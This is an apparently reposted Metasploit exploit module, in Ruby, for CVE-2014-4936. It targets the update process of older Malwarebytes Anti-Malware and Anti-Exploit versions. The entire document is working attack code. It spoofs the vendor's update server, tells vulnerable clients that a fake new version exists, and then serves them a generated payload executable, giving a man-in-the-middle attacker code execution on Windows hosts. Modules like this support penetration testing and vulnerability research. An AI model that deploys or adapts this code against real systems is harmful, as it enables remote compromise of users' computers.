Malwarebytes Anti-Malware < 2.0.3 / Anti-Exploit < 1.03.1.1220 - Update Code Execution (Metasploit)
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking # Would be Great except MBAE doesn't version check include Msf::Exploit::EXE include Msf::Exploit::Remote::HttpServer VERSION_REGEX = /\/v2\/(mbam|mbae)\/consumer\/version.chk/ EXE_REGEX = /\/v2\/(mbam|mbae)\/consumer\/data\/(mbam|mbae)-setup-(.*)\.exe/ NEXT_VERSION = { mbam: '2.0.3.1025', mbae: '1.04.1.1012' } def initialize(info = {}) super(update_info(info, 'Name' => 'Malwarebytes Anti-Malware and Anti-Exploit Update Remote Code Execution', 'Description' => %q{ This module exploits a vulnerability in the update functionality of Malwarebytes Anti-Malware consumer before 2.0.3 and Malwarebytes Anti-Exploit consumer 1.03.1.1220. Due to the lack of proper update package validation, a man-in-the-middle (MITM) attacker could execute arbitrary code by spoofing the update server data-cdn.mbamupdates.com and uploading an executable. This module has been tested successfully with MBAM 2.0.2.1012 and MBAE 1.03.1.1220. }, 'License' => MSF_LICENSE, 'Author' => [ 'Yonathan Klijnsma', # Vulnerability discovery and PoC 'Gabor Seljan', # Metasploit module 'todb' # Module refactoring ], 'References' => [ [ 'CVE', '2014-4936' ], [' OSVDB', '116050'], [ 'URL', 'http://blog.0x3a.com/post/104954032239/cve-2014-4936-malwarebytes-anti-malware-and'] # Discoverer's blog ], 'DefaultOptions' => { 'EXITFUNC' => 'process' }, 'Platform' => 'win', 'Targets' => [ [ 'Windows Universal', {} ] ], 'Privileged' => false, 'DisclosureDate' => 'Dec 16 2014', 'DefaultTarget' => 0 )) register_options( [ OptPort.new('SRVPORT', [ true, "The daemon port to listen on (do not change)", 80 ]), OptString.new('URIPATH', [ true, "The URI to use (do not change)", "/" ]) ], self.class) # Vulnerable Malwarebytes clients do not allow altering these. deregister_options('SSL', 'SSLVersion', 'SSLCert') end def on_request_uri(cli, request) case request.uri when VERSION_REGEX serve_update_notice(cli) if set_exploit_target($1, request) when EXE_REGEX serve_exploit(cli) else vprint_status "Sending empty page for #{request.uri}" serve_default_response(cli) end end def serve_default_response(cli) send_response(cli, '') end def check_client_version(request) return false unless request['User-Agent'] =~ /base:(\d+\.\d+\.\d+\.\d+)/ this_version = $1 next_version = NEXT_VERSION[:mbam] if Gem::Version.new(next_version) >= Gem::Version.new(this_version) return true else print_error "Version #{this_version} of Anti-Malware isn't vulnerable, not attempting update." return false end end def set_exploit_target(package, request) case package when /mbam/i if check_client_version(request) @client_software = ['Anti-Malware', NEXT_VERSION[:mbam]] else serve_default_response(cli) return false end when /mbae/i # We don't get identifying info from MBAE @client_software = ['Anti-Exploit', NEXT_VERSION[:mbae]] end end def serve_update_notice(cli) software,next_version = @client_software print_status "Updating #{software} to (fake) #{next_version}. The user may need to click 'OK'." send_response(cli, next_version, 'Content-Type' => 'application/octet-stream' ) end def serve_exploit(cli) print_status "Sending payload EXE..." send_response(cli, generate_payload_exe, 'Content-Type' => 'application/x-msdos-program' ) end end |